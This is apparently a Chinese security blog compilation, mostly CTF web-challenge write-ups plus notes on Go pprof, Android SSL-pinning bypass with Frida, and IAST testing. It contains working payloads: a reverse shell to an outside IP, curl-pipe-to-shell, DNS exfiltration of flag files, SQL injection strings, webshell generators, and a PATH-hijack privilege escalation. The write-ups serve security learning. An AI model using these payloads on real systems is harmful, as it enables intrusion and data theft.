#!/bin/bashwhile true; do /var/tmp/.x/secure ; sleep 10; done从进程中scp启动后,xri才会出现,也就是xri至少是secure产生的,init.sh里面倒是写明白了启动xri并且使用diswon后台维护。整个流程中secure是关键运行文件。
因此需要查看被爆破的用户是哪个,去除密钥和用户,删除定时任务和进程。重启之前记得修改root密码。
]]>这里所说的Go内存泄露是指goroutine泄露。如果你启动了1个goroutine,但并没有符合预期的退出,直到程序结束,此goroutine才退出,这种情况就是goroutine泄露。在此之前先来认识一下pprof,pprof是Go的性能分析工具,在程序运行过程中,可以记录程序的运行信息,可以是CPU使用情况、内存使用情况、goroutine运行情况等。
Go已经有一个封装好的net/http/pprof,使用简单的几行命令,就可以开启pprof,记录运行信息,并且提供了Web服务。
如果一个存在的Go内存泄露情况如下:
http://xxxx/debug/pprof/
allocs:所有过去内存分配的样本
block:导致同步阻塞的堆栈跟踪
cmdline:当前程序的命令行调用
goroutine:所有当前 goroutine 的堆栈跟踪
heap:活动对象的内存分配示例。 您可以指定 gc GET 参数以在获取堆样本之前运行 GC。
mutex:竞争互斥体持有者的堆栈跟踪
profile:CPU 配置文件。 您可以在 seconds GET 参数中指定持续时间。 获取配置文件后,使用 go tool pprof 命令调查配置文件。
threadcreate:导致创建新操作系统线程的堆栈跟踪
trace:当前程序执行的轨迹。 您可以在 seconds GET 参数中指定持续时间。 获取跟踪文件后,使用 go tool trace 命令调查跟踪。
比如点一个cmdline,查看运行的命令,也许会包括账号密码。
/debug/pprof/cmdline?debug=1
点击profile或者trace的时候会下载一个编译的文件,里面含有进程信息以及程序信息。使用如下命令查看,可以看到这是一个so文件。
go tool pprof .\profile# go tool pprof http://xxx/profile
查看进程函数占用,查看命令介绍可以使用help。

也可以下载heap查看,需要删掉链接上自动带的debug=1。

这个heap文件写的是什么
/debug/pprof/goroutine?debug=1
大概能看出来的是有62个goroutine被挂起,不能退出。这里面有6个goroutine挂在了wss_client.go的104行。

先安装一个graphviz:https://graphviz.gitlab.io/_pages/Download/Download_windows.html
go tool pprof --http=":8999" https://xxxx/debug/pprof/heap
颜色越深越大的代表占用和耗时越多

goroutine泄露的本质是channel阻塞,无法继续向下执行,导致此goroutine关联的内存都无法释放,进一步造成内存泄露。
参考文章:
]]>源码来自:https://github.com/Ch3nYe/httpstest
打包好的APP,启动目录下的http_server,同时修改host把www.test.com指向本地。包名为:com.example.httpstest
安装后如下所示:

然后为了方便代理,我们安装一个ProxyDroid:https://github.com/madeye/proxydroid
可以从谷歌商店代理下载:https://apkpure.com/store/apps/details?id=org.proxydroid
这个东西是利用Android iptables代理,捕获所有APP数据包。一般做WiFi代理的话,有些流量不会走代理,或者还可以使用VPN的代理模式比如Postern。
一开始的两个直接做了代理就可以抓到,就不演示了。
在Android7以上的系统,用户证书不再信任,此处配置证书到系统证书目录。
openssl x509 -inform DER -in burp.der -out cacert.pemopenssl x509 -inform PEM -subject_hash_old -in cacert.pem => hashmv cacert.pem <hash>.0adb push hash.0 /sdcard //由于系统读写权限问题,不一定能直接上传到system目录。mount -o remount,rw /system //root权限下执行cp /sdcard/hash.0 /system/etc/security/cacerts/chmod 644 /system/etc/security/cacerts/hash.0第一行就是那个hash

后续点击执行

这里的校验是公钥,由于中间穿插了burp,所以burp即是客户端,又是服务端,app校验的是burp的公钥导致校验失败。此处使用的是frida,先去下载frida:https://github.com/frida/frida/releases
adb push frida-server /data/local/tmpadb forward tcp:27042 tcp:27042adb forward tcp:27043 tcp:27043cd /data/local/tmp/chmod 755 frida-server./frida-server作者提供了一个frida脚本,但是按照使用方式我这边会重启模拟器,也许是模拟器的原因?这里按照一个python脚本来调用这个js脚本。
#coding:utf8import frida, sys,os,json,codecsimport subprocessimport timeimport ctypesif (len(sys.argv) == 3): jsfile = str(sys.argv[1].strip()) package_name = str(sys.argv[2]).strip()else: print "Usage: python frida_attach.py [hook.js] [package_name] " sys.exit(1)def print_result(message): print ("[!] Received: [%s]" %(message))def stringFromArray(data): ret = '' for i in data: value = ctypes.c_uint8(i).value if value == 0: continue if value <=127: ret += chr(value) else: ret += '\\x' + hex(value)[2:] return retdef hex_stringFromArray(data): ret = '[' for i in data: value = ctypes.c_uint8(i).value ret += hex(value) + "," return ret + "]"def on_message(message, data): print(data) if 'payload' in message: data = message['payload'] if type(data) is list: print stringFromArray(data) else: print data else: if message['type'] == 'error': print (message['stack']) else: print messagedef main(): with codecs.open(jsfile, 'r', encoding='utf8') as f: jscode = f.read() process = frida.get_device_manager().enumerate_devices()[-1].attach(package_name) script = process.create_script(jscode) script.on('message', on_message) script.load() sys.stdin.read()if __name__ == '__main__': main()执行如下后,就可以bypass。
python .\frida_attach.py .\new_sslpinning.js httpstest
配置文件校验跟上面的形式差不多,只是一个代码实现,一个在res/xml/network_security_config.xml配置文件中实现。
单向校验的话,还可以使用Xposed和justtrustme一起配合来绕过。
需要先启动目录下的http_server服务,如果访问的话,浏览器会显示异常的链接请求。
需要先把certs目录下的client.p12安装到访问浏览器,密码是clientpassword。再去访问浏览器发现可以显示,同样需要把证书加到burp,让证书可以用证书进行认证。
在user options – TLS – Client TLS certificates中添加,填入域名www.test.com,输入密码即可。

也就是如果需要绕过这种双向验证,需要客户端的证书来对请求进行身份验证。一般情况下这个证书获取从APP
解压,查看assets或者res目录内,查找是否有pfx、cer、p12格式的证书。最后我们需要导入p12的证书。
当然不少的APP可能存在加壳加密等办法,证书和密码的获取不是那么简单,这里提供一种利用frida来获取证书和密钥的办法。
下载frida-extract-keystore:https://gist.github.com/ceres-c/cb3b69e53713d5ad9cf6aac9b8e895d2
运行脚本后,会自动的启动APP,需要在脚本内修改APP包名,点击需要执行的功能,也就是触发请求。

脚本会自动抓取写在代码内的密码和保存证书,以jks的形式。然后需要去提取公钥。
keytool -list -rfc -keystore .\keystore1.jks -storepass clientpassword把显示的内容保存在cer格式的证书中。导出私钥先转换为pfx。
keytool -v -importkeystore -srckeystore server.jks -srcstoretype jks -srcstorepass clientpassword -destkeystore server.pfx -deststoretype pkcs12 -deststorepass clientpassword -destkeypass 12345678利用pfx导出key,密码还是上面查到的密码
openssl pkcs12 -in server.pfx -nocerts -nodes -out server.key再利用key和证书生成p12证书,可以导入burp的那种,密码是我们上面设置的12345678。
openssl pkcs12 -export -clcerts -in client-cert.cer -inkey client-key.key -out client.p12当没有配置证书的时候,抓包显示Communication error。配置进行这个p12。密码为12345678

再次访问即可成功。
如果能获取证书,但是需要查找密码,而又懒得去解包或者不好脱壳,可以尝试查密码的frida脚本。
使用上面的python2脚本来调用。
python .\frida_attach.py .\tracer_keystore.js httpstest点击触发功能,会显示如下

由于可以解包获取其中的p12证书,所以直接导入证书和密码到burp即可。
]]>按照官方文档,https://doc.dongtai.io/02_start/index.html
使用docker来安装,直接执行
git clone https://github.com/HXSecurity/DongTai.gitcd deploy/docker-compose/./dtctl install -v 1.1.2不过这个创建docker有一个问题就是,openapi的端口没有被开启,修改dtctl,给openapi添加端口。这个端口的开启在1.0.5中,需要自己去填写openapi。
dongtai-openapi: image: "dongtai.docker.scarf.sh/dongtai/dongtai-openapi:$CHANGE_THIS_VERSION" restart: always ports: - "8000:8000"
使用账号密码admin/admin登陆,查看状态监控,基本就是如下显示

下载agent,此处使用IDEA来配置,在启动参数中添加,此处使用一个Spring的项目Ruoyi4.6版本。

洞态这边会显示一个agent:

我们在ruoyi的后台点点点

在洞态那边可以看到已经有一堆数据过来了

旁边还存在依赖检测

只不过这个检测注入有点问题,比如上面检测到pageSize存在问题,我们跟随调试一下。进行到如下代码,此处意思是获取参数名。

这里获取参数中排序的参数值此处是传输的asc

下面的getPageSize是获取参数PageSize,但是这个函数返回类型是Integer。所以当传输一些字符返回的是null。

num和size不为null的时候,这里getOrderBy把参数orderByColumn和isAsc进行了拼接,escapeOrderBySql把参数值进行了一次判断,正则匹配字母数字和下划线,逗号,点。如果想靠这两个参数拼接也不行。

这个版本存在一个注入,而这个注入跟这个参数其实没啥关系,ruoyi使用了mybatis,上面这个功能点确实是存在问题,查看sql的目录文件SysRoleMapper.xml。
找到id为selectRoleList,下面就可以看到了,其实是用了$来传参。

但是这个参数并不能直接利用,因为这个参数不在上面这个请求里。需要手动添加一下

这个功能上确实是存在注入问题,但是检测没有找准参数,这个点也许是由于这个参数不存在的原因,导致检测存在一些偏差。
]]>访问login.php,会给一个这样的链接http://www.bmzclub.cn:22937/login.php?zhongzi=show.php
看样子是文件读取的漏洞,尝试读取一个passwd文件。

可以直接读取,再去试试根目录下的flag文件,提示你是偷粽子的。从匹配上看是只要存在flag这个词就不行。

尝试利用远程包含,屏蔽了http关键词。file没有屏蔽,但是不能读取flag。那就尝试一下伪协议。
php://input不给用,都会报错。

尝试读取的命令php://filter
php://filter/convert.base64-encode/resource=./show.php
解编码后发现是页面的HTML源码。里面注释了index.php。读取发现是如下php代码
php://filter/convert.base64-encode/resource=./index.php
<?phperror_reporting(0);if (isset($_GET['url'])) { $ip=$_GET['url']; if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){ die("<script language='javascript' type='text/javascript'> alert('no no no!') window.location.href='index.php';</script>"); }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("<script language='javascript' type='text/javascript'> alert('no flag!') window.location.href='index.php';</script>"); } $a = shell_exec("ping -c 4 ".$ip); echo $a;}?>其中可以看到的是,基本过滤了文件读取的命令和常见反弹shell的方式,然后还不准同时出现flag这四个字符。
上面过滤的命令中,恰好有一个tail没有过滤,也就是使用这个来读取flag。
尝试先执行个命令看看

然后tail去读文件,但是空格被禁用了,fuzz一下发现可以使用%09,但是还有flag不能用。这个可以使用通配符来绕过读取,最后就是
index.php?url=127.0.0.1||tail%09/fla?
访问给出的地址,首页是一段PHP代码
<?php $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);看代码是使用IP地址来生成一个目录,这个目录我们可以根据自己的出口IP来确认,然后使用shell_exec来执行命令。使用传入的文件名参数进行创建目录,如果存在目录则去掉点,应该是防止目标遍历,最后生成文件名的文件,写入shell_exec执行的结果。
一开始还以为是需要执行命令来看,先来看看大概的执行结果,发现写入的是首页。才想起来这是个SSRF的题。
/?url=http://127.0.0.1&filename=123.123尝试利用file协议来读取flag
/?url=file:///flag&filename=123.123利用orange和IP生成md5,到指定目录下查看文件
/sandbox/8c2xxx9c5/123.123

一个登陆页面,按照惯例查看是否使用是文件包含读取,修改login为index,发现有登陆验证跳转,修改为
/index.php?action=../../../etc/passwd
尝试去读取flag

这个题目稍微有点奇怪,一直在报错,不确定是不是程序问题。代码为:
<?phphighlight_file(__FILE__);if(isset($_GET['ip'])){ $ip = $_GET['ip']; $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_'); $blacklist = array_merge($_); foreach ($blacklist as $blacklisted) { if (strlen($ip) <= 18){ if (preg_match ('/' . $blacklisted . '/im', $ip)) { die('nonono'); }else{ exec($ip); } } else{ die("long"); } } }?>这个代码看起来是屏蔽了很多关键词,实际上是一个词匹配去查一次,也就是总共进行很多次匹配,有一次符合最后则返回nonono。那么也就是只需要第一次绕过这个过滤就算后面匹配到,命令依然执行了,所以限制只有长度不超过十八即可。但是结果并不会显示,所以我们需要进行一定的外带的办法。
/?ip=ls+/>1.txt
flag并不在根目录,查看其他目录。没有发现其他可读目录下存在,那可能在root目录,需要一定的提权方式,这种读写的办法就不太适用了。

想办法反弹一个shell出来,由于长度限制,此处不直接使用IP,转为十进制IP。利用如下
/?ip=curl+1093xxx907|sh
web服务使用flask搭建,写一个简单的返回。
@app.route('/')
def hello_world():
return 'bash -c "bash -i >& /dev/tcp/65.49.209.99/8888 0>&1"'

查找有没有可用的SUID
find / -perm -u=s -type f 2>/dev/null

其中有一个奇怪的love程序,执行后类似是PS的查看进程的结果。所以可能需要劫持PS命令来提取。
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
再去执行love,即可调用当前tmp目录下的ps命令,获取到一个root的shell。

其中demo.c应该就是love的源代码
# cat demo.c
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
WEb界面需要登陆,账号admin/123456登陆。

可以执行命令,看样子是绕过命令执行。由于不回显,所以使用DNS外带的方式。先测试一下可能使用的命令,发现常用的命令不能使用,比如ping,curl等会报错,采用单引号分隔绕过黑名单。还在报错,测试发现是拦截了空格。使用%09绕过。
ord=ls;pi''ng%09byvdxx.dnslog.cn

发现可行,然后使用ceye的监听平台
ord=ls;pi''ng%09`whoami`.xxxxb4.ceye.io

查看flag
ord=ls;pi''ng%09`cat%09/flag`.r9rub4.ceye.io

打开是一个注册登陆页面,需要先注册个账号登陆,里面就是一些有的没得功能,还有一个修改密码。既然是注入,那就先把注册登陆看看有没有注入点,但是在注册的时候有过滤。
按照惯例,可能是二次注入,注册一个存在问题的用户名,然后在后续调用的时候触发注入,后续调用明显就是修改密码,这里只传输密码,那可能就是从session获取用户名。先去看看怎么构造能报错啥的。
从过滤上看and,or,空格等都被过滤掉了。有几个是注册成功的先去查看一下

登陆admin%22%2f%2a的时候,去修改密码功能,发现报错

从报错上看SQL语句大概是
update user set pwd="xxxx" where username="admin"/*" and pwd='698d51a19d8a121ce581499d7b701668';
构造一个报错语句
username=1"and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#
但是上面这个语句并不能使用,其中有空格和and符,修改为如下:
username=1"%26%26(updatexml(1,concat(0x7e,(select%0buser()),0x7e),1))#
登陆再去修改密码,发现可以正常执行,那就查库查表查字段一条龙服务。

当前库web_sqli
username=1"%26%26(updatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1))#
查看库内的表,正好第一次就是flag表
username=1"%26%26(updatexml(1,(select%0bconcat(0x7e,(table_name),0x7e)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='web_sqli'%0blimit%0b1,1),1))#

查看字段,就存在一个flag字段
1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='flag'%0blimit%0b0,1),1))#
查看字段值,显示RCTF{Good job! But flag not her,啊这。。。
1"%26%26(updatexml(1,(select%0bconcat(0x7e,flag,0x7e)from%0bflag%0blimit%0b0,1)%0b,1))#
懂了,那个flag表是骗人的。再查询一遍还有article表和users表,用users表来查找。终于在字段中查到一个real_flag_1s_here
1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users'%0blimit%0b3,1),1))#
再来查看字段值,limit查看都是一个个xxx,直接聚合输出
1"%26%26(updatexml(1,(select%0bconcat(0x7e,(select%0bgroup_concat(real_flag_1s_here)from%0busers),0x7e))%0b,1))#

啊这。。。好家伙,不够长的。。。那就还是一个个输出,先用Intruder批量注册。然后用下面的脚本查看。
#coding:utf-8
import requests
import re
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://www.bmzclub.cn:22937/changepwd.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cookie': 'Hm_lvt_d7a3b863d5a302676afbe86b11339abd=1631932461,1632274696,1632620435; session=5424329c-1b2e-4349-b4e1-0d2f55c408c5; PHPSESSID=1h1clgvbkvn31qbng29c0m8mr6; Hm_lpvt_d7a3b863d5a302676afbe86b11339abd=1632637433; td_cookie=468906102'
}
for i in range(1, 21):
data = 'username=1"%26%26(updatexml(1,concat(0x7e,(select%0breal_flag_1s_here%0bfrom%0busers%0blimit%0b{id},1),0x7e),1))#&password=111'.format(id=str(i))
r = requests.post('http://www.bmzclub.cn:22937/login.php', headers=headers, data=data)
r = requests.post('http://www.bmzclub.cn:22937/changepwd.php', headers=headers, data="oldpass=111&newpass=111")
print(re.findall('XPATH syntax error: (.*)', r.text))
结果全是xxx,啊这,给孩子整不会了。这难道就是0 Solver的原因?
提示如下

蚁剑连接页面,这个是需要绕过disable_functions,phpinfo里紧了一堆函数

既然是7.2的PHP,那就蚁剑php7-backtrace-bypass一把嗖。

此问题并没有正确解出,本来使用大小写后缀外加图片马来绕过限制,但是发现并不会当作php执行。所以此处使用WP复现
首先是代码
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
黑名单限制文件后缀,本来看到in_array中带了true,还以为是大小写绕过。实际是使用htaccess文件来定义文件解析类型。
上传.htaccess文件。此处由于会对文件名做处理,所以需要使用..htaccess文件来绕过执行,使得能正确保存文件。
$parts = explode(".", $name); #Array([0] => [1] => [2] => htaccess)
$ext = array_pop($parts); #htaccess
if (empty($parts[0])) { #true
array_shift($parts); #返回删除的'',还剩$parts[1] => ''
}
if (count($parts) === 0) { #false count=1
die("lol filename is empty");
}
.....
$name = implode(".", $parts); #返回空,所以后续拼接的时候就是$userdir . "." . $ext
剩下的就是图片大小的问题,WP采用的图片格式为XBM格式,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
前两个#defines指定位图的高度和宽度(以像素为单位),比如以下xbm文件:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
后续就是绕过<?这种过滤,WP解释由于使用PHP7.2,所以<script>指定语言的方式不能使用,这个没看出来PHP的版本。采用UTF-16大端编码格式,用一张图表示,utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符。

所以利用如下脚本生成
#!/usr/bin/python3
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('..htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("webshell.php16", "<?php system($_GET['cmd']);?>")
generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir']));?>")
由于设置了diable,所以不能执行命令,如果需要考虑绕过的形式,可以利用蚁剑来直接执行。或者利用文件读取的shell。直接读取flag。
打开页面是一个留言板,留言会显示需要登陆,已经给了一个账号,zhangwei,但是密码不对,既然给了一个账号那就爆破一下密码,发现常规密码都不对,再次看密码格式三个星号可能代表需要爆破这三位?
设置数字爆破到密码为zhangwei666。
发帖后发现可以查看详情并且再去留言,可能是二次注入?使用一个异常的发帖后,再去给这个帖子提交留言,发现不能显示,可能是有问题。
试了一圈发现不太行,可能是需要组合利用,那还需要源代码查看。扫描一下目录。
发现一堆git泄露,好家伙在这等我呢。
找到一个write_do.php文件。
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>字段都是直接拼接,但是使用了addslashes转义字段。查找一下绕过的方式
1:字符编码问题导致绕过
1.1、设置数据库字符为gbk导致宽字节注入
1.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
2:编码解码导致的绕过
2.1、url解码导致绕过addslashes
2.2、base64解码导致绕过addslashes
2.3、json编码导致绕过addslashes
3:一些特殊情况导致的绕过
3.1、没有使用引号保护字符串,直接无视addslashes
3.2、使用了stripslashes
3.3、字符替换导致的绕过addslashes
不过这个地方既没有编解码的函数也没有字符编码的设置,还使用了单引号闭合。理论上按照闭合那一套是不能注入的。但是现在有个问题是
$category = mysql_fetch_array($result)['category'];
如上获取数据的时候,没有使用转义函数,后续直接进行的拼接。addslashes函数转义保存到数据库的时候,反引号是不保存到数据库的,也就是\'保存到数据库就变成了’单引号。
也就是需要我们在发帖的时候保存category字段一个注入的代码,在留言评论的时候来触发他。
先来构造一下SQL语句,既然是insert注入,那就用盲注,构造如下语句。
insert into comment
set category = '111' and if((substr((select user()),1,1)='r'),sleep(5),0),#',
content = '$content',
bo_id = '$bo_id'
先来发个帖子,咱来评论留言,发现SQL被执行。

既然user是r开头的,那估计也就是root@localhost了,查库表。本来写个脚本执行,但是发现总是请求过多,响应超时。
搞了半天总是报错,就看看能不能报错回显出来,本地测试一个报错回显的语句,这样写能成功,但是需要出单引号,上面的语句只能闭合不能出去。
insert into users
set id = 55,
username = updatexml(1,concat(0x7e,(version())),0),
password = '11111';
这是个多行的SQL语句,可以使用多行注释来拼接,然后再写一个参数进去,类似如下:
insert into comment
set category = '111',/*',
content = '*/ content=updatexml(1,concat(0x7e,(version())),0),#',
bo_id = '$bo_id'
试了半天也没结果,然后才想起来这报错不会被写进去,直接报错去了。。。
既然能写进去,那就直接执行,不需要报错语句,测试以下语句。
insert into comment
set category = '111',/*',
content = '*/ content=version(),#',
bo_id = '$bo_id'
回显如下

想了一圈子发现还是最简单的方式能直接使用。查库名为ctf。如下查询表的时候注意要括号包裹不然会报错。
insert into comment
set category = '111',/*',
content = '*/ content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),#',
bo_id = '$bo_id'

查询字段名,主要表名要十六进制形式,查询user表。
content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x75736572),#&bo_id=1

查字段信息,就一个zhangwei。
content=*/+content=(select+group_concat(username)+from+ctf.user),#&bo_id=1
换一个表查,board表。hex值为0x626f617264。字段有:id,category,title,content
content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x626f617264),#&bo_id=1
这几个字段查了一遍还是没有信息,表comment也没有信息,这就有意思了。不在数据库里,SQL还能干啥,毕竟是root权限,试试能不能写文件。
试了一番发现并不能愉快的写文件,或者目录是特定目录。文件不给写试试能不能读。
content=*/+content=(SELECT+LOAD_FILE(0x2f6574632f706173737764)),#&bo_id=2

好家伙 又是一个花式文件读取。直接读取根目录下的flag文件
content=11*/+content=(SELECT+LOAD_FILE(0x2f666c6167)),#&bo_id=3

访问首页是一个购买网页,需要购买独角兽。但是我们没有钱,明显买不了。随便输入一个数

发现需要一个Unicode的编码参数,而且用了unicodedata.numeric来处理输入的值。意思是将Unicode转为等效的数值,那么可能就是Unicode编码转换中绕过数值购买判断。
其中最贵的是1337,那么需要找到一个转换后大于等于1337的Unicode码。
选择如下的符号:https://www.compart.com/en/unicode/U+10123

不过这个flag应该是有问题的,并不能验证成功。
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}打开首页,又是一段代码,其中涉及两个函数escapeshellarg和escapeshellcmd,这是个防止命令执行的函数,区别在于
escapeshellarg:转义其中的单引号,并用单引号来包裹字符串。保证输入为一个字符串。
escapeshellcmd:转义可能导致命令执行的特殊符号,常见的特殊符号包括换行符都被会转义,单双引号在不配对的时候也被转义。保证输入为避免利用shell的特性执行其他命令。
本身正常情况下,都能起到防止命令注入,但是如果在一起使用,就会导致异常转义,因为escapeshellcmd也转义反斜线。
127.0.0.1' id
escapeshellarg: '127.0.0.1'\'' id'
escapeshellcmd: 127.0.0.1\' id
在一起使用就会变成
escapeshellarg+escapeshellcmd: '127.0.0.1'\\'' id\'
简化上面的输入就是,第一个单引号已经被转义,后面的单引号也是,所以此处只当作字符来处理。
127.0.0.1\ id'
但以上的命令并不能被执行,问题在于利用shell特性的分割连接符等都被转义了。以上解决的只是把一个字符串的输入分割成了携带参数形式的输入。
后面需要利用nmap,既然是能分割成携带参数选项的输入,那需要配合nmap的参数来执行。记得在nmap的一个低版本存在一个提权问题,不过由于是交互界面。也不能使用shell的命令符号,需要查找一个nmap能执行使用的参数。
首页代码中使用IP创建一个sandbox的目录,按照惯性,应该是为了写文件而准备的,所以应该是利用nmap的输出属性来执行。nmap输出参数有-oN/-oX/-oS/-oG/-oA。
首先需要调试一个能正常逃逸出单引号的payload,可以在https://tool.lu/coderunner测试,首先需要逃逸出双引号的两端包裹,先在两端添加两个单引号,输出为:
''\\''\<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php'\\'''
简化为:\<?php @eval($_POST[123]);?> -o index.php\\
再需要分割开两端的反斜线,两端添加两个空格。
' <?php @eval($_POST[123]);?> -o index.php '
输出为:''\\'' \<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php '\\'''
于是大概能用的payload就出来了,先测试一下哪个参数可以使用,一个个试一下,发现oG可以使用。

最后剑来,在根目录下发现一个flag

哎嘿,这个flag又报错,看来0Solves的多少有点问题。
首页又是一段PHP
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
由于存在call_user_func,所以我们可以覆盖file参数,来达到包含我们想要的文件,如果直接读取flag的话,下面的内容就有点多余,所以这里大概需要读取function和admin文件来查看。不能直接包含,不然PHP代码看不到。
/?function=extract&file=php://filter/convert.base64-encode/resource=./function.php
function内容为如下,看起来是个黑名单过滤。
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>
admin文件为
<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
Pz4
看起来没有直接利用的函数,但是这个创建了session,也就是有session文件的写入,我们需要去读取session文件来包含。
session的name在首页的POST中传输,再去访问admin文件,这里只判断参数是不是空。
/?function=extract&file=php://filter/convert.base64-encode/resource=/tmp/sess_k8ud00tfqs2mevh289uukn5to5
加载发现,并没有回显,也许不在这个目录,在/var/lib下。
但是这里有一个问题,由于open_basedir的存在,我们不能加载别的目录下的文件,只能加载当前目录和tmp目录。
session_start函数有一个参数为save_path,可以设置保存路径,注意此处随便写入一个session的文件名,不然在POST获取的时候,就已经创建null。
POST /?function=session_start&save_path=/tmp HTTP/1.1
Host: www.bmzclub.cn:22937
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
name=<?php phpinfo();?>
获取session
/?function=extract&file=/tmp/sess_123

写入一个shell
name=<?php system($_GET["aaa"]);?>

